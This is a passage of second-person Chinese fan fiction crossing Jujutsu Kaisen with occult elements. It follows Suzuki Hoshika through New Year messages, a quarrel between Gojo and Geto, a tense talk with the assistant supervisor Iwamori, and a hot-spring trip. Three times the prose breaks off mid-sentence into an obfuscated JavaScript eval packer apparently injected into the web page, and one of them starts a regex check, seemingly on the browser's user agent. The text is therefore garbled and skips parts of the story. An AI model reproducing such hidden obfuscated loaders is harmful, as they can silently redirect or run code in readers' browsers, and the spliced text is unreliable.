“……还得从我那死了很多年的前任说起。你也太有个性了。”你嘟囔着说。你在气泡的梦幻噼啪中,给七海讲了一个最新版本的故事。 【有钱人解救身陷囹圄的美少女故事应该是众多穷人被冻死前的幻想,你的意思是,七海的房间有点冷。不过你的也一样,小木屋一直不结实。】 “……”七海对你亮出了他缠绕符咒的咒具,哦哟哟,这可了不得。 你赶紧说正题。 【你以前很穷,干过很多工作,进厂做工人,在医院搬东西,还有挖煤,去做女仆和保姆,但是越干越穷。世道啊,也没给你发家致富的机会。不过你是伦敦人,周围也都是欧洲面孔,在相貌上仍然有东方的小优势,而且在东方人中也算容貌上乘的,因此好运地迎来了破茧成蝶的时候。你开始和男伴频繁出入高档场所,歌舞,美酒,宴会,场场不落。你学会了鉴赏戏剧的方法,知道要怎么辨识台上演员高昂或忧伤的歌喉,你还学会了舞蹈,能在舞池中如花一样绽放。】 【然而,鲜花的花期从不长。被置于水晶瓶中热烈盛开的日子,总不如被丢在一旁冷落到泥土里的时间长。人类是擅长自我揭示的生物,时间一长,他们该是什么样就是什么样。原来你前男友说那么好听,最后只是想要一个肾。】 “……” 你问他听后感:“怎么样?是不是觉得我有一点可怜?” 七海浪费了人生中宝贵的一分钟,他请你:“不要再看韩国电视剧了。还有你能不能忘了伦敦的事情。” 你难得畅快大笑,不讲礼仪地坐在七海房间地上,背后靠着他的床。 你离开的时候,他房间里都是酒味,你还把残局都留给他收场。 编造的三流剧本三流故事没有听取的价值,你猜七海一定不把它放在心上。你回到自己冷冷的小屋,今晚点起一团不熄灭的铸炉之火,铸就温床。 “记忆缺失是很罕见,但你不必用这种事后填充的方式将它找寻。铃木,你会在高专创造新的值得铭记的东西。”你想起他在不久前对你说的话,七海也在用这样婉转的方式关心你呢。 十二点整,筵山不响新年的钟声,但你接收到了四个个新年问候的短信。 一封来自硝子:新年快乐!本来想给你带团子,但是放到明早可能会硬,后来买了蛋糕,因为是奶油,室外又很冷。明天你就有早饭啦! 与它一起的还有一张合照。是三位二年级生在料理店门口橙黄的灯光下一起留影的纪念。 另一封就比较简短了:新年快乐,还有,对不起。感谢你的帮助。 署名夏油杰。 再之后,是灰原的:新年快乐!撑到了现在果然还是很困,等我回来给你们带东西吧!我妈妈做了很好吃的饼干。 最后,没想到把你扫地出门的七海又不情愿地重复和你社交了一通:新年快乐,以后不许带酒来。 你一封封地看完了,然后一个也没有回复。毕竟,你是一个从不厚此薄彼的人。 新年,是生命有限的人类才会庆祝的新开端。这很好理解,作为寿命长达几万日夜的生物,人就不会刻意去迎接每一天,但若是朝生暮死的浮游生物,如果他们有思想,或许会把生命分割成12小时,然后一个个庆祝。 而至于更长寿的漫宿……你也说不好大家爱庆祝什么,反正赤红教堂的盛宴永不落幕,血食和陈酿永不枯竭,长生者与具名者的欢声笑语永不终了。 果然还是新年更适合你的体质。你这么想着,然后沉入睡眠,前往梦中世界进行新的一轮漫游。当下,你愿意多往铸炉的居屋进行拜访…… 第二天清晨,你的早餐就原原本本摆在属于你的小屋前面。上面还有硝子的留言:这么早就休息了?记得吃哦。 你开始一条条回复消息。 给硝子:新年快乐!好吃。 拍了一张空盒子给她。 给夏油杰:新年快乐。 给灰原:新年快乐!我也很困所以很顺畅地睡着了 (其实没有) 给七海:新年快乐,我的怨种同学。自从被挖掉一个肾以后我很久没这样喝酒了。 你还没忘记承诺过了两份报告,因此敦促自己要在十二点前出门前往医疗室撰写。真是稀奇,如果是在房间里和手机电脑待在一起,你竟然就产生不了一点完成作业的念头。 昨晚,你本来要和报告为伴的。 后来你去了七海房间,回来以后直接裹严实被角,握紧手机。 你不在妄想今天能在房间里完成一切,还是去医疗室比较好。 在路上,你遇见了只身一人走在教学楼旁边的五条悟,他朝你迎面走来。说起来确实也有一阵子没有听见他的任何消息了,现在也是新的一年。 你看了这位身形冷酷的前辈一眼,发觉他丝毫没有寒暄的打算。然后你也低头继续走自己的路,揣着带回宿舍的报告纸,又带它完璧归赵到医疗室工作台。 你不知道的是,在你往后走了一段路以后,他停下脚步回头看你,然后又加速走远。 因为你没有回头。 伏案工作两小时,一切工作轻松解决,你认为像这样的辛勤劳动,值得一份加餐的犒赏。 然而,在你邀请并得到硝子的应允后,你被又一个难缠的人碰上了。 主动向她问好:“岩守小姐,新年快乐。” “铃木同学,新年快乐。你要去哪?” “正准备去吃饭,但没想好吃什么。” 随即,你因为应答不出有效的抽身理由,被岩守智子留下了,她开始和你谈及那天平安夜的事情。她对传说中并非咒灵的超自然生物很有兴趣。 “这我就不太清楚了,报告撰写没交到我手上,我猜是硝子和夏油前辈那边在负责?或者也可能给了五条前辈。夏油前辈的咒灵已经把它处理掉了。只是不清楚近藤小姐是怎么弄到它的,咒术师毕竟也不能直接对普通人进行问询。”比起你纯良的前辈们,你更愿意把这个人踢到又疯又全无法提供有效信息的近藤那边去,说不定她们能擦出新的召唤火花,然后…… 你笑容和蔼。 岩守却很惊讶:“哎呀,你不知道吗?近藤小姐在昨晚去世了。” “这个倒还……不清楚。”你恰当地表现出惊讶:“怎么会呢?” 于是,你的得到了一份印有讣告的今日报纸。 【胞妹近藤青……因疾病抢救无效……存年29……】嗯……心脏骤停脑死亡这类或许也算抢救无效吧?不过她死了也是一件方便事。世间种种,你不打算一一过问,再说她也不是什么存了谜团的人。 “谢谢你告诉我这个,我其实觉得其中有些蹊跷。”你带有沉思的表情也许感染了她。 岩守知子询问:“铃木同学,你有什么看法?” “她看起来像是会长寿的类型。而且……”你欲言又止,岩守被你吸引过来,你煞有介事地告诉她:“她警告过我,说她想活着的。但后来我把她敲晕了。” “……” “世事无常,谁能想到她竟然死了呢?” “……” 你调戏了岩守智子一通,还获知了几个好消息,现在,你要带着好消息去见前辈。 当然,不能展露出开心。 摆脱麻烦后呼吸顺畅许多,向既定的方向走去。 你没有计算到的事情是,在校门口等候你的,不只有硝子,还有她的两位同学。 “星夏,你好慢,说好要请我们吃饭的呢?” 你没想好是要先反驳她,还是先告诉她蠢人终于落马的喜讯。 无论哪个都奇怪,你最后直接接受现状说:“前辈们想吃什么?我请客。” “你手上这是什么?” “方才和岩守女士偶遇,她告诉我一个令人震惊的消息。”你展开到讣告那页,折叠好递给硝子:“命运难测啊。” 她看了两眼以后就递给了后面也凑过来的同学,然后对你说:“可你看起来心情不错。” 你微微一笑:“毕竟要和敬仰的前辈们一起出门吃饭,灰原又错过了一桩好事。” “差不多得了。”硝子拧你鼻尖:“再说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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五条问:“是卡了吗?” 并不是这样,右上角的时间还在不断跳动。 “我觉得不放接下来的也可以--” “真遗憾,杰,事情不是你说了算。” 听到这里,剑拔弩张的形式初现峥嵘。 硝子也想跑了,但她没有,也正是因为这样,在她看见画面中的一个人倚在墙角入眠,一段时间站了起来,毫无征兆地走向床上的另一人……发生的一切似乎缺少逻辑关系。 画面中的他推拒,她不让,然后他们说了些什么……再然后。 硝子挠了挠头。 “真好,你们怎么不这样待着一晚上呢?你们才应该一间房。”这是那天五条和夏油说的最后一句话。虽然他看上去明显是稍微抗争了,但是失败了。 后者一言不发。 直到新年这两个好朋友都没怎么说过话。 硝子想到了自家双亲曾经的烦恼。 你从她那听见的最有趣的事情就在此,她叹了口气对你说:“我妈之前听说同期只有两个男孩子,还产生过他们会不会为我大打出手的不实际忧虑。我还信誓旦旦承诺我不会和他们中任何一个恋爱,果然,我做到了。” 别的不说,这件事情是真的很好笑,于是你没控制住自己闷头出声:“你是妈妈的好女儿,噗。” “想想办法,星夏,我才二年级,毕业还有三年。你不会想毁了前辈的上学环境的,所以,说点什么。而且……”她看了一眼身后,最终还是决心在后面两个分开站的同学前面不远对你说:“你亲夏油的时候不太像【情难自禁】,看起来你们都是被迫的。” 山外有山,更好笑的事情出现了。 你低头笑了一会,拦上硝子的肩膀,做出正经的样子告诉她:“嗯,我不太会接吻,那副样子是因为我太紧张。所以说现在很认真的在反悔了,再来一次我一定不亲他。” 是啊,你劝了他两次,最后还帮他兜了底,换来的是什么?如果这是金融事件,股市都要因此熔断了,大失败。虽然你没说出来,但你在看见夏油杰的脸的时候,还是有点烦。 “所以你比较喜欢五条,对吗?” “这个嘛……喜欢。”你稍微思考了一下喜欢的定义,觉得五条悟能够凭借外形条件位列其中,于是给出了肯定答案。 你的回答是如此肯定,让含蓄又暂时没有恋爱经历的硝子有些不适应。过了一会,她非常小声地问你,细若蚊吟:“那,夏油呢?” “最近觉得他有点讨厌。”你也小声在几步远蛐蛐当事人,你不怕他听见:“暂时不是很想搭理他。” 硝子问你:“糟了,不会是打情骂俏那种讨厌?” “坏了,那我们两一定都是被逼的。” 有点忧愁的前辈也被你逗笑了。 以下是她最后的要求:“所以你就用和我说话的方法,过会和他们谁聊两句,你能做到的,对吧?” 你不保证结果:“但愿吧。” 37.第 37 章 你坐在夏油杰的对面,沉默吃汉堡,你旁边的硝子在和她对面的五条悟面面相觑。 现在的情况是,你们4个人都不愿意说话了。 “你瞧,硝子前辈。”你把吃了一半的汉堡包了起来,又把还剩的半杯奶昔揽到手上,用轻松愉快的语气说:“至少两位前辈还愿意坐在一起,他们关系没那么差,对不对?” 夏油杰大概是听到了你先前说的话,他在十几秒之后就说着:“我吃完了,出去转一圈。”然后起身推拉椅子离开这个拼好的四人桌。 硝子不赞成地看你一眼,然后说:“正好我要去抽--” 你两指夹住她取出的细长条:“硝子前辈。我去。”顺走了她的烟。 “你还会……?”她盯着你娴熟夹着烟的左手,未出口的话含义不言而喻。 你变花样转了一圈,说:“这个啊,在上个世纪就会了。” 接着你对她wink一下,表明态度:“新年新气象,过往的不愉快就这样算了,我会好好劝夏油前辈的。” 硝子认为你没有说这句话的立场,不过也没拦着你出去。 解决问题永远有循序渐进的说法,而你选择从简单的办起。 “等等,上个世纪,你那时候才多大呀?” 这个问题嘛,不予回答。 夏油杰就站在出门不远处的墙边,他看见你推门而出的时候有些惊讶。看来他也以为自己分配到硝子了。 “前辈,你有火吗?” 答案是没有。 于是你把烟收进口袋,对他说:“那就算了。我们聊聊?” “我以为你不想……你说对我无话可说的。” 这还怨上你了?你靠在墙上:“以前是以前,现在是现在。下次我一定不恶意施救。” “……” “你能和五条前辈和好吗?就当帮我和硝子前辈一个忙?她和我说自己想家了,感觉学习氛围好差劲。” 夏油杰转过身:“我觉得硝子不会说出那种话。” “前辈,那你觉得她愿不愿意被两个关系不睦的同期夹在中间呢?” 他很聪明,不会轻易被忽悠,也不随意被你带偏:“这件事情应该是铃木你要考虑的吧。” 你悔恨地摇了一下头,其中表演成分居多:“您瞧,这不就又回到了我恶意施救的错误上?”你力图拉人下水。 之前说的不悦是真的,不过在意识到夏油杰的价值之后,这些微小的个人情绪你都将它们靠后排,是以现在你表现得可亲无害。你想把棘手的五条悟留给他。 这下你单方面一笔勾销了。 夏油杰:“过不去了,是吗?你和悟是什么关系?”他问你。 你答复顺畅:“前后辈的关系。” 他就很笃定了:“你压根不喜欢他。” “话不能这么说。”你的语调抽丝剥茧,缓慢、拖长:“我觉得他,很好看,眼睛也漂亮,个子很高。” 这句话听起来像男权主义者反驳性别歧视指控的说辞:我的一些朋友也是女性…… 不过正如他们作为当权者意识不到事情的荒谬性,你也不打算正视这话中的天大漏洞。 “呃,你要不要想一下自己说了什么?” 你刚才和硝子说话声音一点不大:“我以为我和硝子前辈在加密通讯。前辈,我不在乎五条前辈是怎么看我的,反正我们稀里糊涂你来我往了一番,到最后彼此伤害都为0,也就高专这几年的结识时间。但你和他似乎是更亲近的关系。”天气太冷了,这个时间在背光处的行人很少,你请夏油杰帮你个忙:“劳驾你帮我挡着点。” 然后,你在再次开口之前,于他的遮挡中,用手指点燃了烟,烟雾弥漫指尖。 优雅惆怅的松散香气在你们两人之间,一捧灰烬底色的粉尘味道不容错过。 你吮吸一口清苦的焚香味道,转头把这份风流的体验通过呼吸和言语转达给近在咫尺的另一个人,对他呢喃:“人际交往中的悲欢离合我略有领悟,因此不会见怪。但如果你们吵架的话,硝子前辈会伤心的。他很有趣,你也是,你们都很有趣,但是,别不愉快,好吗?” 他隔着烟看你,以为这就是你的真容:“其实,你和悟的交往,仅仅是你认为他很有趣。你不像他在乎你一样在乎他。这就是真相。” 隔着灰看人,难免也带上滤镜,不值得见怪。 你向他摇头,否认:“我们没在交往,你假定错了。虽然你说着抱歉的话,但在言谈中已经俨然把我当成值得多关照的罪魁祸首了呢。不过没关系,只要你们能和好,说我的坏话我也不介意。”你认为这就算谈妥了。夏油杰的个性就是稳妥,因此不能确定的事情就像延误盘旋久久不能散去,这不是他的错,是你在他面前展露了太多自我。 看得出来,你其实应该和高专里不少人--水火难容。 不过……相信以后你们两都能把握好其中距离感。 你最后说:“讨厌和喜欢不过是当下的情感,然而时间拉的够长,大部分都会改变,人的记忆甚至都会说谎--无论如何,谢谢你的守密,知情在大多时候比无知更难捱。夏油前辈,我不会忘记你为我做的事情,我心怀感激。” 你掐灭了烟,往店里走。 他在你后几步,很小声地问你,也可能他没指望你回答:“铃木,你以前,到底是怎样的?” 这个嘛,那可是很长的故事,而且忘了很多,不方便讲。 你对夏油杰的特训,硝子对五条的对单训练营效果不错。当天的事情没什么好说的,但过了几天,硝子给你传来了好消息:好起来了。 这件事情你是知道的,首先,你和两位前辈一起出任务的事情还在继续。其次,联系你的人现在成了夏油杰。 五条悟不愿意和你说话,也不愿意夏油杰和你说话。 现在你是团队里最清闲的人,甚至超过了辅助监督。 你太安分了,导致夏油杰都有点同情你。 你发现他或许有些情绪化的特征,他富有同情心,但只对展露出值得同情之处的人泛滥这种情感…… 又是一个在外通勤时间远超任务所需时间的委托,他们前往镇上的医院进行镇压工作,辅助监督是岩守。难得排到她,你们浅浅聊了两句后你就脚底抹油离开车自告奋勇去买饭。 你这么解释:“他们似乎不太需要我,这我理解。只不过成为团队中随时能被抛下的人,再传到老师耳朵里--太丢人了,我宁愿打杂。” 事业心突然就被排挤激发,这也算是个借口。你希望她能够这么想。 接着,你在拎着餐食回去的路上接到了久违的五条悟的短信:在哪,慢死了!!! 五条悟,感叹号的数量和事情严重程度应该成反比。 你回复:快了,请稍等。 他在吃饭的时候还挑剔了你的品味,认为:“好难吃,这谁选的。” 显然,这是针对你个人的不满。 “悟……” 五条悟的语气危险了起来:“你在帮她说话?她不会自己说吗?” 于是你们又全都安静下来。 你对此懒得表态。 确实不太好吃,你也只吃了半份就合盖。 下晚的任务,你在车内和岩守相对无言的理由就成了:“我有点困,先睡一觉。”你放弃了买饭,就环境而言,这里甚至不如上午那边,不如回程路上买点方便速食回宿舍吃。 她却没那么好心放过你了,问你:“他们都不愿意带上你,铃木同学。发生了什么事吗?” “是,我脚踏两条船被发现了。岩守女士,要不要猜猜男主角分别是谁?提示,你今天才见过他们。” “……”她的笑容遇到你就变得勉强。她自找的。 你叹息,试图把这事情往晚间八点的电视节目靠拢:“为什么我们就不能像圣经里说的那样安然无恙生活在一起呢?【使人和睦的人有福了,因为他们必称为神的儿子】。哎。” “不是,那个,铃木同学,你能不要再乱引用了吗?” 你说:“喜欢主的孩子有福了。与你共勉,岩守女士。” 但是她仍然表现出了对你的好奇:“你们会一直这么僵持下去吗?” “这取决于五条前辈的意思。”坐在后座意味着要和任意男嘉宾一起,因此你依旧选择副驾,倒是给了岩守找你搭话的可乘之机。你缩起双手,靠在椅背回答。 她温柔和煦的样子毫无棱角,像是年长女性在指导你这个青春期高中生与异性相处:“他看起来挺喜欢你的。我是说,五条君还是很在意。” “……要不,”你提议,正好把她支走,如果她愿意:“你去买晚餐?” “咳咳,五条同学毕竟还年轻。” 你又问:“难道比我还年轻吗?” 哪知道岩守像是触发了什么诡异的按钮,她缓慢地对上你的眼睛:“或许,真是这样也说不定呢?” …… 你于是明了,来了。 姿势不变,你冲她眯起眼,像是突然嘴里被塞了半颗柠檬那样突兀:“这是什么意思?” “哈哈,我是说铃木同学你在进入高专前的档案都是缺失的,又遗忘了很多事情。说不定其实你的出生年月比89年早?” “你说的也对,万一呢。”两个来路不明的人碰撞出了接近真相的火花,你揉了揉脸:“我以为你这么说是以前看过我呢,还想向你打听经过。” 她说:“啊,这么说来我似乎在欧洲见过和铃木同学很像的人。我想想,是在意大利……” 岩守知子说话的时候一直在看着你的脸,而你的表情不变,依旧是费解的模样。 “也或许是在法兰西。” 你挠了挠头,大大方方告诉她你的人设:“我应该是英国伦敦人。无户籍无房产无证件。” 你去过法国? 确实,欧洲毕竟不是一块很大的地方。可那时候岩守应该还没出生呢。 你想起她的资料:76年出生于北海道,96年离开阿依努咒术连前往天元庇佑的结界内,在京都就职过,最终来到了东京高专,目前已在职5年。 难道说你在90年代在法国做了什么隐居之外的事情,而她刚好在国外?你以为自己或许一直待在伦敦郊外的一栋别墅中隐居。不过这也很难说,因为人不能为自己不清楚的事情担保。 你希望岩守能吐出一点她知道的东西。 这会她像是跑得很快的老鼠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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五条悟现在愿意和你说话了,不过是为了嘲讽你,而且很不耐烦:“铃木,你眼睛出问题了?这下可不止脑子了,建议去医院看看。” 你深谙穷寇莫追的道理,现在也不能拿岩守怎么样,你们现在只不过互相对彼此坦诚了一点点,而且都是真正意义上被动的。你于是解开安全带,反身趴在座椅上,探出头面对面问他:“这样啊,你要陪我去吗,五条前辈?” 从你尾音落下起,车内没人一样,安静的可怕。 直到车库里另一辆车被启动,你们在看不见它的地方听到了发动机不轻不重的声音时,五条悟几乎是激烈地谴责痛斥你:“你这个人,出什么问题了啊!” 嗯……这是预料之外的事情, 原本你料想的是大家一起把话题聊开,今天就这么和和美美的度过,然而略有偏差。 不过这也提供了一个思路,一个跑路的机会。 你转身回到座位上,忽视滴滴滴的安全带提示音,打理衣领,打开车门,下车转身,关门问好,招手告别:“诸位再见。” 离开了这个不可小觑的团队。 你的脚步在地库踢踏,这声音如此明显。 手机的电量充足,信号也很好,这个地方距离高专……哎呀,在你意识到这点的时候,想要回到车上恐怕也晚了。真遗憾,你还特地在停车场藏起来了,没被车找见。 一个小时后,当你乘坐的巴士里高专越来越远的时候,夏油杰给你打来了电话,询问你的情况。他极有可能已经回到高专了。 “我?我迷路了。”没什么不好承认的。 当他问你在哪里时,你坦诚回答:“在东京的某个地方,我也不确定了,但显然这里还是日本。” “……这是当然。”夏油杰的情绪比较稳定,至少看上去如此。 “好,下车了,我把站台拍给你,如果你也看不懂的话,就只有等认识路的好心人送我到认识的站台了。” 夏油杰的声音有些失真,不过你仍然能听出他的片刻慌神:“你这是什么意思?” “意思就是。”你把手机夹在脸颊和肩膀间,在口袋里掏零钱,你掏出了一张万元整钱,因此答案是:“打车。”你把自己的收获一并告诉了夏油。 他没问你若是没钱你要如何。 发送消息的时候不能在通话中,你挂断电话,将站台拍给他看,等待消息回复。 但他又打了电话过来,清晰给你指明了方向,从线路到换乘,说得清清楚楚。 “真好,你认识每一个站点吗?” 那边停顿了一下:“不是,我上网搜索的。” “哈哈哈,真有趣,特意打电话来是有什么想说的吗?” “是--”他的声音拖得有点长:“悟最近心情不太好。” “嗯哼。” 夏油仍然是一个绅士风度的调停者,一如以往:“唉,如果你能好好说话就再好不过了。” 在你的理解中,他的意思是都怪你没有好好说话。 “夏油前辈,如果你被五条前辈绑架了你就眨眨眼。考虑到这不是视频通话,就算你眨眼我也--” 在一阵喀拉声和几次喘息音后,你听见了熟悉的五条悟的声音:“铃木,你想说什么。” 你还听见夏油杰的声音:“悟,你不要再吓铃木了。” 谢谢他的好心,一个真正意义上在努力两头劝的大善人。实在想不到该和五条悟说什么,又已经得到了回去的路线,于是你…… 在几个呼吸声以后默然挂断电话。 38.第 38 章 你在当晚回去后就后知后觉的意识到,那大概会引起五条更深的不满。这绝非你的目的所在,五条悟对你有恩无仇,你何苦让他讨厌你呢? 于是你编辑了一条短信,陈明你的愧疚之意。 【五条前辈,抱歉。我不是有心冒犯你的,让你生气并不是我的本意。】 【如果让你感到困扰的话,接下来几天我就不加入任务了。看起来你和夏油前辈也不需要额外的人员干扰。】 正好这个天气最适合待在温暖的地方。不过,如果他回复“以后再也不想看到你”这种话的话,那你就找夜蛾老师说明自己已经见习完毕,身体强度实在跟不上之类之类。 五条悟那边杳无音讯。 你是当场酝酿当场发出的,现在时间已经过了一会,他可能不想回复你。 这不让你觉得羞愧或者丢脸,你最后发去了问候。 【虽然最好的时机已经过去了,但现在毕竟还是假期内,所以说--新年快乐。祝你平安顺遂。】 不管怎么说,消消火气。 第二天你就很知趣地没出房间,以相当正当的理由请假偷懒了。 夏油杰:你其实本来也不想完成委托的,对吗? 你回:没有的事,两位前辈的背影太伟岸,我望尘莫及。 夏油杰:……你不用对我这样。 铃木星夏:都是发自肺腑,没一句假话-- 铃木星夏:有就当我没说。 铃木星夏:前辈,从今天起,你是我的前辈,五条前辈也是我的前辈,我对你们再也没有一点逾矩之心。 一段时间以后,他回复了你:有就当你没说? 他真幽默。 你不回复。 灰原是在回家四天后返校的,他给你带来了数种饼干。可可的、黄油的、还有抹茶味,这三种是你比较喜欢的,还为你带来了一个温泉的好消息。 “家入前辈说是这个好日子已经占卜过了,不会有委托。所以我们可以去温泉旅馆住一天。铃木,你一直在高专,不知道吗?” “啊,毕竟最近没有和前辈们出任务。新年,谁又想在冰天雪地里挨冻呢。”你在房间里点起了铸炉之火和香薰蜡烛,柔和的香梨和葡萄柚味道浸染了每一个角落,“占卜不会是扔硬币的占卜吧?” 没听说谁有过这种术式。 “其实就是找夜蛾老师请过假了哈哈哈哈,说起来你的房间确实很暖和……” 你捂住这孩子左看右看的眼睛:“我还没泡过温泉,就是电视里那样吗,用一圈石头垒好的雾气腾腾、露天、点上灯笼,还有牛奶喝的旅馆?” 洗浴似乎是偏东方的文化产物。 “最重要的是。”灰原举起手,给你展示了一个握拍的手势:“乒乓球,我在国中的时候练过。不知道前辈们会不会玩。如果他们不会我就可以教你。” 逻辑关系是?你问他:“如果他们会呢?” 灰原非常温良地看你,竖起大拇指,表明决心:“那我就和前辈们打。” 他质朴的发言总是把你逗笑。 你正式得知这个消息的时候还是又惊喜了一下。“是吗真好什么时候?好期待呀。” 硝子认为你的演技有待提升:“灰原和你说过了?也对,他带了很好吃的饼干,当然会分给你们。” “我最近买了很多熏香,你喜欢香味吗?硝子前辈。” “嗯,闻到你身上的花香了。对了,你这几天都没和他们一起任务?和五条的关系怎么样?” 你如实汇报:“那天回来给他发了短信,并没有回音。” 她擦干净试管,放回原处:“他可能生气了。” 你恍然大悟:“要不是你告诉我我还被蒙在鼓里呢,硝子前辈。” 她敲了你的脑袋,再次贬驳你的演技,然后给你透露了一些额外信息:“我之所以加入是因为免费,你之所以加入,是因为举办者并不讨厌你。明白了吗?” 你赞美五条悟:“慈善家。” 硝子:“如果你见到他,你要和他说什么呢?” 你忙于扫地和将器材归位,不过她问了你,你也就认真思考一瞬,回答:“什么也不说,把我的感激和敬爱都放在心里。” 硝子称呼你为胆小鬼,并告诉你刚才被你感激和敬爱的对象在医疗室门口逗留片刻,而你把注意力放在扫帚上了。 她的原话带着一点看热闹的笑意:“听说你【什么也不说】,慈善家就走了。” 你听见她的话后,慢悠悠扶着门框向外看:“我看看。” 可是等你的目光延伸到走廊时,那里只有透过玻璃照在地上的阳光。照在地板上,细沙一样握不住,细沙一样金黄。 难以寻觅他的踪迹。 你对此的解释是:“我们的慈善家有一双很长的腿。” “你一点也不失望?” “还好。” “我想,我有点理解五条了。”硝子略带怜悯的眼神并不是给你的,是给一个不在场的人:“你不在意他,他应该比我和夏油更早看出来。” 你也有你的坚持,虽然和几个高中生计较这些有些天真,但是你还是忍不住这样做了。 说出来却有点赌气的意味:“如果我在意他的话,现在难以忍受的人是不是就变成我了?” 硝子的立场有一定程度取决于最后和她说话的人,她脱下白大褂,挂在架子上,回味一番你的话:“你说的也没错,五条是那样的人。因为他很强所以不会轻易交托情感。星夏,你看起来……你挺好的,只不过,嗯……我没别的意思。” 好,硝子的意思已经十分明确。 你和五条悟不太像是能各方面配平的个体。 而你的意思么,你说:“人是社会的产物,因此距离感并非是与生俱来的禀赋,而应该是受到相当对待后的自我洞明,如同揽镜自照。他并不是因为很强才在态度上保守,而是因为被教授了相应学识才这样做的。硝子前辈,五条前辈其实算是个正常人来的,顶多只是聪明了一点。” “……”硝子露出了那天你形容夏油杰为【一般】时的表情,她持保留意见:“你的前半句话令我惊讶,后半句也令我惊讶,更值得惊讶的是,前后毫无逻辑关系,但我不否认。好了,机灵鬼,今天的学习到此为止。顺便,你是怎么看待自己的呢?” 自我评估么,每次遭遇阻碍都得难以克制地怀疑一次,现在它已经很坚强了。 你拧好锁,听见两声哐哐后,告诉她答案:“正常人。硝子前辈,这个世界足够广阔,能够包容所有失败和成功,说不定……即使是高高在上的神明,也不过是在角争中凑巧成事而拥有一个神位呢?” 以下是她的回答:“说得好,其实我是无神论者。” 也许你令她有所触动,才会这么说。你冲她咧嘴笑,难得阳光:“其实,我说的神明和你的无神论只是语义上的差别,按理说我也是无神论信奉者。比如,如果我说人类可以凭借非血统、灵魂、□□传承的方式擢升为司-神,世界上大部分各自为政信奉自己的主的教徒们就会不约而同地反驳这一观点了--所以说我是无神论也可以哦?” 硝子忍不住问你:“你到底信谁啊,我认识他吗?” “我信能拯救我的东西。” 你是一个,实用主义者。 在那天的最后,硝子回味过来一样问你:“所以你的意思是,其实五条比较喜欢别人用对待正常人的方式对待他?而不是看待一个高位的天才那样?” 没等你给出回答,她就联动了一下近期的电视剧:“这是何等的典型的发展,豪门爱上贫良……星夏,我没说你。” 好好好,这下你也是凤凰爱吃大米饭里的大米饭了。 但她混淆了你意见中的一点……不是【喜欢被当做一般人】,先前你就知道,五条悟有点聪明,他能分清角色扮演和正常社交,虽然在许多时候这两者是同义词。硬要说的话,他就像变色龙一样对周围环境产生反应,而或许,大部分人都觉得他很强,那么也多半有隔阂,于是乎…… 你只是见到的物种多了,认为如果一个人看起来像人,说话像人,心理像人,物质上也像人,那你可以认为他就是人。 所以你像对待人一样对待五条悟。只不过他基因比别的人更好。 你对出去玩的事情总是表现得很隆重的。 所以你带了一个行李箱。 灰原和七海各背一个包,硝子也是,至于剩下两个前辈,他们来的时候你已经在属于你和硝子的房间里躺下。左手是点燃的熏香,右手是一本恐怖故事集。床榻边上的小桌依次排布你的笔记本电脑、照相机、手机,还有一叠充电器。 硝子震惊:“你是……把寝室搬来了,我们只在这里住一天哦?明天傍晚就到高专了。” “明天再带回去。” 房间里是木质的清香,屋外是庭院里的私汤和雪枝。你在床铺上翻滚一圈,不慎把自己卷入硝子那半边,你扭过头仰视低头看你的她,对她称赞:“石板,灯笼,雪花,这里比电视上好看。” 她把一样东西丢在你脸上:“这是什么?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他说谎的样子娇羞且容易辨认:“你这……里奈一般叫我哥哥。(niichan)” “死心吧,灰原,也许10年后会有小姑娘愿意这么叫你。”你摇了摇头,虽然是同期,但灰原可是你们这个团队里最年幼的弟弟,“我怀疑你在妹妹面前也不太威严,所以搞不好会被直呼姓名哦,还是偶尔连名带姓的那种。” “你,你,你,铃木,不要再说辣!” 灰原羞愤制止你,不过你意识到确实不能太活泼。 确实,场上还有一个不乐意和你说话又掌控全局的人,你不要喧宾夺主比较好。于是低头退出聊天,在接下来的时间里安静满足的用完这一餐。 用餐完毕后,灰原遗憾地发现前辈们都没有乒乓球的爱好,这事情就轮到了顺位的你。 “可是我……”你想泡温泉的,首先,这个地方价格不菲,其次没了。不过灰原的眼神几乎是水汪汪的,他在说【铃木,如果你不陪我玩乒乓球,我就白带了球和球拍,我的一些总之全部都会毁掉】。 你说:“好,我会在一个小时之内学会然后打败你。” “……我可是从小六就开始打乒乓了。” 你跟着他走到通铺门口,正在你和硝子的旁边,站在门口没进去,等他在包里翻找完出来:“不是只有温泉旅行的时候会打吗?” 这时有人推开了你,或者说,只是蹭了一下,但你倚在脆弱的推拉木门旁,本也没站稳。一个踉跄。 抬头后你看见了五条悟的背影,他进了房。 他身后进去的夏油给了你一个爱莫能助的眼神。 “……”幼稚。 “前辈们好!铃木,你不要乱说。我的意思是,嗯,就是国中课后也会去球馆体验。” 你放过了那个显而易见的【体验】破绽,扭头示意他快走:“我就不在前辈们面前放话了,但是你是否记得圣诞节后的那次--” “啊啊啊补药再说啦,而且后来七海来了我就赢了。我打游戏可是有一点厉害的!虽然不如前辈们厉害。”后面那句是他犹豫了一下主动补上的。 “行行行,厉害小哥。来之前我在网上搜了几场比赛,过会我们就直接开始吧?” “前辈们再见!” 真是好孩子,还没过见面告别都要给人打招呼的时候。你现在喜欢沉默的来,沉默的走。 39.第 39 章 你和灰原的比赛规则选择传统的11分,五局三胜制。 一小时后,正是你的决胜局。中间喝茶聊天还有休息时间不少,共同耽搁了这场除了计分其他一点也不正规的比赛。 你喜欢赢,所以不客气地给灰原施加压力:“我说的没错吧,我很快就能学会,然后赢过你。” 可他却看向你身后,好像见到了救星:“五条前辈,你怎么来了!你是来为我加油的吗?” 